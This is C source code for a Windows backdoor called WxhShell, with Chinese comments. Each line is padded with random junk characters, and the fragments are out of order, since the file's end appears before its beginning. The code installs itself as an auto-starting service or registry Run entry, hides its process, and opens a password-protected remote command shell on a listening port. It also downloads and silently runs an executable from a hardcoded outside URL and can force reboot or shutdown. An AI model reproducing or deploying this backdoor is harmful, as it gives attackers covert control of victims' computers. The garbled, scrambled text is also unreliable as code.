    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9e :d2  
    else { s525`Q;  
    closesocket(wsh); ;1(qGy4  
    ExitThread(0); D%5 {A=  
    } <7RkM  
    break; l ")o!N?  
    } Nt,]00S\w  
  // 获取shell Cbf,X[u  
  case 's': { :">~(Rd ZH  
    CmdShell(wsh); +@<^i?ale  
    closesocket(wsh); 37za^n?SG  
    ExitThread(0); \sXm Mc  
    break; lzQ&)7`  
  } fR{WS:Pv  
  // 退出 ":ws~Zep  
  case 'x': { *Kp ^al  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2-B8>-   
    CloseIt(wsh); 37<GG)  
    break; w-q=.RSTn=  
    } CsQ}P)  
  // 离开 _#\5]D~""  
  case 'q': { \ [hrG?A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #f jX|b  
    closesocket(wsh); 3`C3+  
    WSACleanup(); Ov{B-zCA  
    exit(1); J3!k*"P  
    break; G@l|u  
        } vr]dRStr  
  }  :L+zUlsf  
  } 6b1 Uj<  
mhHm#  
  // 提示信息 ::Ve,-0  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dsft=t8s  
}  =}1~~  
  } fSb@7L  
u{y5'cJ{  
  return; ^,\se9=(  
} H"Em|LX^  
0^tJX1L  
// shell模块句柄 I?xhak1)lu  
int CmdShell(SOCKET sock) ^LAS9K1.  
{ BRQ5  
STARTUPINFO si; LnACce ?b  
ZeroMemory(&si,sizeof(si)); BM}a?nnoc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t3h \.(mq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~NJLS-  
PROCESS_INFORMATION ProcessInfo; hJtghG6v  
char cmdline[]="cmd"; kQ:>j.^e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E<.{ v\  
  return 0; JjL0/&  
} _ d"Y6 0  
+\]S<T*;  
// 自身启动模式 )7BNzj"~  
int StartFromService(void) i\c^h;wX  
{ \?Oa}&k$F8  
typedef struct { N8rZ[Oo  
{ (j\UoKLRt  
  DWORD ExitStatus; TTjjyZ@  
  DWORD PebBaseAddress; s?gXp{O?X  
  DWORD AffinityMask; +r34\mAO  
  DWORD BasePriority; i_Q4bhVj  
  ULONG UniqueProcessId; Z_TbM^N  
  ULONG InheritedFromUniqueProcessId; @eD2<e  
}   PROCESS_BASIC_INFORMATION; W71#NjM2Z  
EC&19  
PROCNTQSIP NtQueryInformationProcess; 8CHf.SXh  
m_Y}>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |@uhq>&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Hwi7oXP  
Wn)A/Z ^r  
  HANDLE             hProcess; .m % x-i  
  PROCESS_BASIC_INFORMATION pbi; N/SB}F j  
v,O&UrZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4iB)oR  
  if(NULL == hInst ) return 0; 3_['[}  
UHm+5%ZC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L&F\"q9q71  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;@$," P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Lzb [%?  
DL/*t.)"et  
  if (!NtQueryInformationProcess) return 0; W!Os ci  
kO O~%|1CP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O#ajoE  
  if(!hProcess) return 0; N,'qMoNf  
( ]uoN4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7*W$GCd8  
SX94,5 _Q  
  CloseHandle(hProcess); AI`1N%Owi  
N=}Z#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R yIaT  
if(hProcess==NULL) return 0; 5nlyb,"^g  
"Kf~`0P  
HMODULE hMod; BB}iBf I'  
char procName[255]; s#CEhb  
unsigned long cbNeeded; ; yC`5  
CMB$RLf  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k-p7Y@`+a  
MkIO0&0O  
  CloseHandle(hProcess); C3 c|@7FU  
"VhrsVT  
if(strstr(procName,"services")) return 1; // 以服务启动 z[I/ AORl  
%.  }  
  return 0; // 注册表启动 %1l80Z  
} q+=@kXs>+  
[ Sa C  
// 主模块 bSKV|z/x  
int StartWxhshell(LPSTR lpCmdLine) e(5Px!B  
{ ^ C#bW <T  
  SOCKET wsl; dtXJ<1:  
BOOL val=TRUE; dEl3?~  
  int port=0; )HiTYV)]'  
  struct sockaddr_in door; E.*OA y  
GeR -k9  
  if(wscfg.ws_autoins) Install(); 04LVa|Y@U  
:'Kx?Es   
port=atoi(lpCmdLine); 15yV4wHr  
F973U  
if(port<=0) port=wscfg.ws_port; 7o%|R2mL}  
_z6u^#Si  
  WSADATA data; =*G'.D /*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <{~UKi  
;&:Et  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A ba%Gh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \{^yB4F_Z  
  door.sin_family = AF_INET; }tgn1xpx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `RLrT3 4  
  door.sin_port = htons(port); 1T^L) %&p_  
" ~hjB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { gG?*Fi  
closesocket(wsl); Or~6t}f  
return 1; 4C*=8oe_  
} nqW:P$  
Q/SC7R&"t  
  if(listen(wsl,2) == INVALID_SOCKET) { 6R,b 8  
closesocket(wsl); xVo)!83+Q  
return 1; "uNxKLDB  
} ^qy-el  
  Wxhshell(wsl); V&n JT~k  
  WSACleanup(); HBYpjxh  
ho=]'MS|  
return 0; FK('E3PG  
y.NArN|%  
} tXuxTVhoT  
Q(Y,p`>  
// 以NT服务方式启动 `^Sq>R!;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z0@ImhejuB  
{ soCHwiE  
DWORD   status = 0; 0(6`dr_  
  DWORD   specificError = 0xfffffff; lt"*y.%@b  
[l{eJ /W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r\D8_S_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :cz]8~i\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )}lV41u  
  serviceStatus.dwWin32ExitCode     = 0; Gi2Ey37]O  
  serviceStatus.dwServiceSpecificExitCode = 0; O/~^}8TLL  
  serviceStatus.dwCheckPoint       = 0; .OUE'5e p  
  serviceStatus.dwWaitHint       = 0; )eyxAg  
x/^zNO\1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vG}oo  
  if (hServiceStatusHandle==0) return; 6XU5T5+P^  
u{ d`  
status = GetLastError(); X Y?@^  
  if (status!=NO_ERROR) )o,0aGo>Of  
{ @=1``z#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !Z)^c&  
    serviceStatus.dwCheckPoint       = 0; b DvbM  
    serviceStatus.dwWaitHint       = 0; eF\C?4  
    serviceStatus.dwWin32ExitCode     = status; J4X35H=Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; N#ObxOE6T"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \mG M#E  
    return; Ji=iq=S7  
  } r $2   
vGDo?X~#o  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9^olAfX`dB  
  serviceStatus.dwCheckPoint       = 0; xb;m m9H  
  serviceStatus.dwWaitHint       = 0; f ebh1rUX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fe/6JV  
} K>6p5*&  
SW, Po>Y  
// 处理NT服务事件,比如:启动、停止 a^,RbV/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M*uG`Eo&  
{ hglt D8,  
switch(fdwControl) 1i2w<VG1  
{ h!]A(T\J  
case SERVICE_CONTROL_STOP: u{z{3fW_  
  serviceStatus.dwWin32ExitCode = 0; 'kK%sE   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oPBjsQ  
  serviceStatus.dwCheckPoint   = 0; `7ZJB$7D|*  
  serviceStatus.dwWaitHint     = 0; '& :"/4@)  
  { gV;GC{pY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '+wTrW m~j  
  } /L^dHI]Q  
  return; }5U f`pM8  
case SERVICE_CONTROL_PAUSE: 6Fb~`J~s  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dG+xr!  
  break; ;{20Heuz  
case SERVICE_CONTROL_CONTINUE: tTt~W5lo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TQH#sx  
  break; +Eg# 8/q  
case SERVICE_CONTROL_INTERROGATE: }lVUa{ubf  
  break; E(#2/E6  
}; h='=uj8o5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NR{:4zJT  
} .EwK>ro4  
H'>  
// 标准应用程序主函数 W aU_Z/{0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;;5i'h~?]J  
{ \eCdGx?  
^e ii 4  
// 获取操作系统版本 8EA?'~"  
OsIsNt=GetOsVer(); IgL8u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rJ>8|K[kt  
f6)H!SI  
  // 从命令行安装 ^Du_e(TiyK  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZxQP,Ys_Y  
wxxC&!  
  // 下载执行文件 F^-4Pyq@  
if(wscfg.ws_downexe) { @dNbL}qQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <5%We(3  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q{60^vg  
} 7j8_O@_  
;q2T*4NN  
if(!OsIsNt) { P9vROzXK  
// 如果时win9x,隐藏进程并且设置为注册表启动 [G*mQ@G9  
HideProc(); ;U&VPIX$  
StartWxhshell(lpCmdLine); rv:O|wZ  
} e`^j_V nEH  
else |~Iw   
  if(StartFromService()) AP%h!b5v  
  // 以服务方式启动 da@ .J9  
  StartServiceCtrlDispatcher(DispatchTable); U^D7T|P$V  
else Wt =[R 4=  
  // 普通方式启动 2_Z6 0]  
  StartWxhshell(lpCmdLine); RU=%yk-gM  
It[~0?+  
return 0; FBsw\P5w  
} `u-Y 5mY  
5Mr:(|JyV  
f&'md  
, utFCZW  
=========================================== 4p.O<f;A8  
G)Y!aX  
_[W=1bGJ  
:nI.Qa'"H  
)<d8yLb  
S5JnJkNn  
" ;<\*(rUe  
@Klj!2cv$  
#include <stdio.h> mwxJ#  
#include <string.h> 5|Qr"c$p  
#include <windows.h> xlAaIo)T  
#include <winsock2.h> c1[;a>  
#include <winsvc.h> SW7%SX,xM  
#include <urlmon.h> .kVga+la?  
) =[Tgh  
#pragma comment (lib, "Ws2_32.lib") ?jbam! A  
#pragma comment (lib, "urlmon.lib") W2RS G~|  
kVY@q&p  
#define MAX_USER   100 // 最大客户端连接数 C;` fOCz^  
#define BUF_SOCK   200 // sock buffer jolCR-FDu  
#define KEY_BUFF   255 // 输入 buffer @)B_e*6>'  
"<n{/x(  
#define REBOOT     0   // 重启 DWAU8>c+  
#define SHUTDOWN   1   // 关机 @,]v'l!u  
<IYt*vlm  
#define DEF_PORT   5000 // 监听端口 4.8,&{w<m  
_~!,x.Dbp  
#define REG_LEN     16   // 注册表键长度 7Do)++t  
#define SVC_LEN     80   // NT服务名长度  DWI!\lK  
lk80)sTZ  
// 从dll定义API hY!G>d{J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dx^3(#B  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yAOC<d9 E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [ LCi,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m<E7cY3mX  
kHO\#fF<  
// wxhshell配置信息 IX}l)t[:(  
struct WSCFG { 08Q:1 '  
  int ws_port;         // 监听端口 -?uwlpm#  
  char ws_passstr[REG_LEN]; // 口令 0*q:p`OLw*  
  int ws_autoins;       // 安装标记, 1=yes 0=no eMs`t)rQ  
  char ws_regname[REG_LEN]; // 注册表键名 B?jF1F!9  
  char ws_svcname[REG_LEN]; // 服务名 `fs[C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vI-KH:r"{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &>-Cz%IV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q~qig,$Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $jHL8r\e7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" SNQ+ XtoO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  m ]\L1&  
 6?6 u  
}; ;(XSw%Y H  
SV.*Z|"^N  
// default Wxhshell configuration t5&$ y`  
struct WSCFG wscfg={DEF_PORT, 1g;3MSn~  
    "xuhuanlingzhe", n}l Z  
    1, HBt?cA '  
    "Wxhshell", &5B+8>  
    "Wxhshell", Z"n]y4h  
            "WxhShell Service", C oaqi`v4T  
    "Wrsky Windows CmdShell Service", 2dC)%]aLme  
    "Please Input Your Password: ", |k8;[+  
  1, ?mV[TM{p  
  "http://www.wrsky.com/wxhshell.exe", |A2.W8`o  
  "Wxhshell.exe" ^C(AMT  
    }; _7Z$"  
t[<=QK  
// 消息定义模块 oR+Fn}mG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; txi m|)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !54%}x)3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HjK|9  
char *msg_ws_ext="\n\rExit."; @y,p-##e  
char *msg_ws_end="\n\rQuit."; '!_o`t@  
char *msg_ws_boot="\n\rReboot..."; uuq?0t2Z  
char *msg_ws_poff="\n\rShutdown..."; VR'w$mp  
char *msg_ws_down="\n\rSave to "; 62W3W1: W  
hJ|z8Sy@1  
char *msg_ws_err="\n\rErr!"; TqWvHZX  
char *msg_ws_ok="\n\rOK!"; ag3T[}L z  
B$\5=[U  
char ExeFile[MAX_PATH]; ar6Z?v$  
int nUser = 0; 3LEN~ N}  
HANDLE handles[MAX_USER]; DU;]Q:r{  
int OsIsNt; A) qOJ(OEz  
^0r @",  
SERVICE_STATUS       serviceStatus; e@6}?q;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &P\T{d2"  
9Vp$A$7M  
// 函数声明 f`?|A  
int Install(void); 46mu,v  
int Uninstall(void); !XK p_v  
int DownloadFile(char *sURL, SOCKET wsh); &oT]ycz%  
int Boot(int flag); tvd/Y|bV=  
void HideProc(void); )&*&ZL0  
int GetOsVer(void); Jap v<lV%  
int Wxhshell(SOCKET wsl); 0hPm,H*Y]  
void TalkWithClient(void *cs); .9`.\v6R  
int CmdShell(SOCKET sock); h322^24-2  
int StartFromService(void); il:+O08_  
int StartWxhshell(LPSTR lpCmdLine); _3)~{dQ+  
g >X!Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +jHL==W&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U7{, *  
>:Rc%ILym  
// 数据结构和表定义 b+w|3bQa  
SERVICE_TABLE_ENTRY DispatchTable[] = #KiRH* giU  
{ ^fRA$t  
{wscfg.ws_svcname, NTServiceMain}, AR&u9Y)I  
{NULL, NULL} ^.k}YSWut  
}; Jr#ptf"Wu  
zhFGMF1  
// 自我安装 FQ);el'_V  
int Install(void) f}o`3v*z  
{ UA{A G;  
  char svExeFile[MAX_PATH]; &Uzg&eB  
  HKEY key; A H`6)v<f  
  strcpy(svExeFile,ExeFile); uYV# '%  
).k=[@@V  
// 如果是win9x系统,修改注册表设为自启动 _m;Y'  
if(!OsIsNt) {  M*%iMz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nL\BB&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [^aow-4z  
  RegCloseKey(key); y%43w4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,;UVQwY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Qp{{OjD  
  RegCloseKey(key); ' R{ [Y)  
  return 0; 4SmhtC  
    } " MlY G6  
  } ptX;-'j(  
} >i=mw5`D]  
else { |',MgA  
FLi)EgZXt  
// 如果是NT以上系统,安装为系统服务 =EFF2M`F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xqIt?v2c  
if (schSCManager!=0)  $ l Y  
{ Fz-Bd*uS  
  SC_HANDLE schService = CreateService o ;.j_  
  ( $n!saPpxS  
  schSCManager, `j@2[XdHu  
  wscfg.ws_svcname, `ez_ {  
  wscfg.ws_svcdisp, kAU[lPt*R  
  SERVICE_ALL_ACCESS, U^[<G6<9]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7?e*b(vd  
  SERVICE_AUTO_START, q0$}MB6  
  SERVICE_ERROR_NORMAL, uT ngDk  
  svExeFile, ( J5E]NV  
  NULL, =ejkE; %L  
  NULL, @"];\E$sI  
  NULL, YS%HZFY, "  
  NULL, _r&`[@m  
  NULL m%l\EE  
  ); ,{7Z OzA  
  if (schService!=0) 8h}o5B  
  { 7@5}WNr  
  CloseServiceHandle(schService); 9tWu>keu  
  CloseServiceHandle(schSCManager);  GVe[)R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BG/M3  
  strcat(svExeFile,wscfg.ws_svcname); j$siCsF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { eNpGa0 eG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y0 Ta&TYZ0  
  RegCloseKey(key); ~[t%g9  
  return 0; b v~"_)C  
    } P;{f+I|`  
  } p8frSrcU  
  CloseServiceHandle(schSCManager); *ax$R6a#X  
} V~%!-7?  
} c&J,O1){\  
44b;]htv  
return 1; {IJ,y27  
} rOEk%kJ  
8 Ys DE_  
// 自我卸载 .e~17}Ka}  
int Uninstall(void) `~F=  
{ *{/BPc0*  
  HKEY key; txw:m*(%  
:iP2e+j  
if(!OsIsNt) { 'WUd7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q!iM7C!8  
  RegDeleteValue(key,wscfg.ws_regname); iG^o@*}a  
  RegCloseKey(key); s,)Z8H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9s7sn*aB#5  
  RegDeleteValue(key,wscfg.ws_regname); M<4~ewWJ  
  RegCloseKey(key); 7X*$Fu<  
  return 0; tU.Y$%4  
  } sFuB[ JJ}  
} V'K1kYb  
} := C-P7  
else { N^jQ\|A<  
q ^Un,h64t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #41~`vq3  
if (schSCManager!=0) IC"bg<L,*  
{ l03{ ezJk[  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); bj=kqO;*O  
  if (schService!=0) Y92 w L}  
  { 4"U/T 1&  
  if(DeleteService(schService)!=0) { O4dJ> O  
  CloseServiceHandle(schService); =W$ f +  
  CloseServiceHandle(schSCManager); Ru9QQaHE  
  return 0; _8P0iC8Zg#  
  } aEM2xrhy,  
  CloseServiceHandle(schService); P>j^w#$n  
  } F[R Q6 PW  
  CloseServiceHandle(schSCManager); Nk*d=vj  
} $aDAD4mmm  
} ^{lcj  
Ii FeO  
return 1; PUZH[-:c  
} NitsUg@<  
>Z r f}H  
// 从指定url下载文件 +twl`Z3n  
int DownloadFile(char *sURL, SOCKET wsh) QH7"' u6  
{ eg!s[1[_  
  HRESULT hr; x]{}y_  
char seps[]= "/"; yyB;'4Af  
char *token; \"Jgs.  
char *file; "H\1Z,P<m  
char myURL[MAX_PATH]; GCm(3%{V%(  
char myFILE[MAX_PATH]; 5+Fr/C  
H3CG'?{ _  
strcpy(myURL,sURL); yq]=+X>(  
  token=strtok(myURL,seps); |mvY=t %  
  while(token!=NULL) KcKdhqdN-  
  { /enlkZx=8  
    file=token; UEHJ? }  
  token=strtok(NULL,seps); &y_Ya%Z3*e  
  } RC?gozBFJ  
>%LZ|*U  
GetCurrentDirectory(MAX_PATH,myFILE); AQ+MjS,  
strcat(myFILE, "\\"); ynY(  
strcat(myFILE, file); Vi1l^ Za  
  send(wsh,myFILE,strlen(myFILE),0); ?i'N 9 /(  
send(wsh,"...",3,0); F#NuZ'U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); t$~CLq5ad  
  if(hr==S_OK) NhJ]X cfP8  
return 0; rMr:\M]t  
else j}u b  
return 1; I(m*%>  
I[nSf]Vm>  
} !y_4.&C{  
x9\z^GU%H  
// 系统电源模块 eLFxGZZ  
int Boot(int flag) u|(;SY  
{ !r^fX=X>'  
  HANDLE hToken; [~_)]"pU  
  TOKEN_PRIVILEGES tkp; .Nk'yow  
7]sRHX0o%  
  if(OsIsNt) { JX!z,X?r4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CZZwBt$P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 28 Q\{Z.  
    tkp.PrivilegeCount = 1; vo (riHH  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p.@ kv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6sjd:~J:  
if(flag==REBOOT) { cvOCBg38BH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (E(J}r~E  
  return 0; , L_u X  
} !%X~`&9  
else { nIZ;N!r=i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -A]-o  
  return 0; '`+8'3K~E  
} JsP<etX  
  } ~aBf.  
  else { (>49SOu;$\  
if(flag==REBOOT) { ~}"5KX\=#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A_8Xhem${  
  return 0; Q l#y7HW  
} /aV;EkyO,  
else { x&p.-Fi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c,j[ix  
  return 0; )B*D\9\Z  
} Q6PaT@gs  
} Z1}@N/>>  
iWGn4p'  
return 1; o[^nmHrM2  
} ~Vt?'v20@  
:%[mc-6.  
// win9x进程隐藏模块 /6 y9 u}  
void HideProc(void) F:7 d}Jx  
{ 43.Q);4  
^V}c8 P|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]A=yj@o$xN  
  if ( hKernel != NULL ) 8/vGA=  
  { *Z8qd{.$q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Uee(1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S:lie*Aux*  
    FreeLibrary(hKernel); eC{St0  
  } 8AVtUU  
?ESsma6  
return; 3d`u!i?/  
} b9;w3Ba  
4^Ke? ;v  
// 获取操作系统版本 C;3  
int GetOsVer(void) mWUkkR(/  
{ prEI9/d"  
  OSVERSIONINFO winfo; ZS<`.L6B3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nV:RL|p2jw  
  GetVersionEx(&winfo); "l 8YD&q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w2H^q3*  
  return 1; "IHFme@^  
  else =4[ U<opP  
  return 0; Hk f<.U  
} 3y tlD'  
Na>w~  
// 客户端句柄模块 !aB~G}'  
int Wxhshell(SOCKET wsl) B ({g|}|G+  
{ ;I9g;}  
  SOCKET wsh; 5<XWbGW  
  struct sockaddr_in client; vw6>eT  
  DWORD myID; kGmz1S}2  
2kcDJ{(  
  while(nUser<MAX_USER) ;e{e ?,[  
{ BgT(~8'  
  int nSize=sizeof(client); dsU'UG7L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o<gK"P  
  if(wsh==INVALID_SOCKET) return 1; fHODS9HQ  
`mthzc3W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wQ^RXbJI9  
if(handles[nUser]==0) oFb~|>d  
  closesocket(wsh); Te%V+l  
else k4PXH  
  nUser++; a>Wr2gPko  
  } |%oI,d=ycv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :6:,s#av  
$0gGRCCG;  
  return 0; x1h&`QUP  
} R`J.vMT  
IISdC(5  
// 关闭 socket GG`j9"t4  
void CloseIt(SOCKET wsh) _+j#.o>  
{ E!RlH3})  
closesocket(wsh); R=<%!  
nUser--; 4,0 8`5{  
ExitThread(0); =9h!K:,k  
} 6 w'))Z  
T/FZn{I  
// 客户端请求句柄 T>pyYF1Q  
void TalkWithClient(void *cs) U.WXh(`%  
{ /}/GK|tj  
@\r2%M-  
  SOCKET wsh=(SOCKET)cs; z=TO G P(  
  char pwd[SVC_LEN]; |- <72$j  
  char cmd[KEY_BUFF]; T`bUBrK6g`  
char chr[1]; zR4]buHnE  
int i,j; OdpHF~(Y/  
^T*!~K8A  
  while (nUser < MAX_USER) { aL*}@|JL"  
xI_0`@do  
if(wscfg.ws_passstr) { 0NK|3]p  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~Ajst!Y7=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3Vbt(K  
  //ZeroMemory(pwd,KEY_BUFF); ({zWyl  
      i=0; UxxX8N  
  while(i<SVC_LEN) { j#U,zsv:  
.D*~UI  
  // 设置超时  Cmp5or6d  
  fd_set FdRead; b!e0pFS;  
  struct timeval TimeOut; LJ6l3)tpD  
  FD_ZERO(&FdRead); zwU1(?]I{  
  FD_SET(wsh,&FdRead); t,n2N13  
  TimeOut.tv_sec=8; +/bD9x1H  
  TimeOut.tv_usec=0; P4zwTEk`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^f57qc3nF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [mQdc?n\  
Y/5(BK)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vN:!{)~z  
  pwd=chr[0]; 4JyA+OD4{  
  if(chr[0]==0xd || chr[0]==0xa) { IT7],pM  
  pwd=0; FUf.3@}  
  break; 9)8Cf% <(  
  } &6vWz6!P  
  i++; +$Y*1{hyOo  
    } =~"X/ >'  
B&7NF}CF2  
  // 如果是非法用户,关闭 socket dVk(R9 8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); QJ(5o7Tfn  
} @lq)L  
A;^ iy]"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cU-A1W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NMQG[py!f  
t\h4-dJn  
while(1) { _Hd|y  
|Y8}*C\M.h  
  ZeroMemory(cmd,KEY_BUFF); 1szObhN-l  
V= -  
      // 自动支持客户端 telnet标准   *o38f>aJl  
  j=0; R(*t 1R\  
  while(j<KEY_BUFF) { l p(D@FT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -Lq2K3JHyn  
  cmd[j]=chr[0]; V1,/qd_  
  if(chr[0]==0xa || chr[0]==0xd) { rHM^_sYRb  
  cmd[j]=0; GXIzAB(  
  break; &2U%/JqY  
  }  WzoI0E`  
  j++; a#{"3Z2|  
    } :b*7TJ\grN  
G"m?2$^-A  
  // 下载文件 V2|By,.  
  if(strstr(cmd,"http://")) { {F2Rv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e&2,cQRFV  
  if(DownloadFile(cmd,wsh)) Te[v+jgLY,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W/%hS)75  
  else [& Z- *a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1r};cY6  
  } -EE'xh-zD  
  else { a5R. \a<q  
M PDRMGR@i  
    switch(cmd[0]) { <R+?>kz6  
  l S3LX  
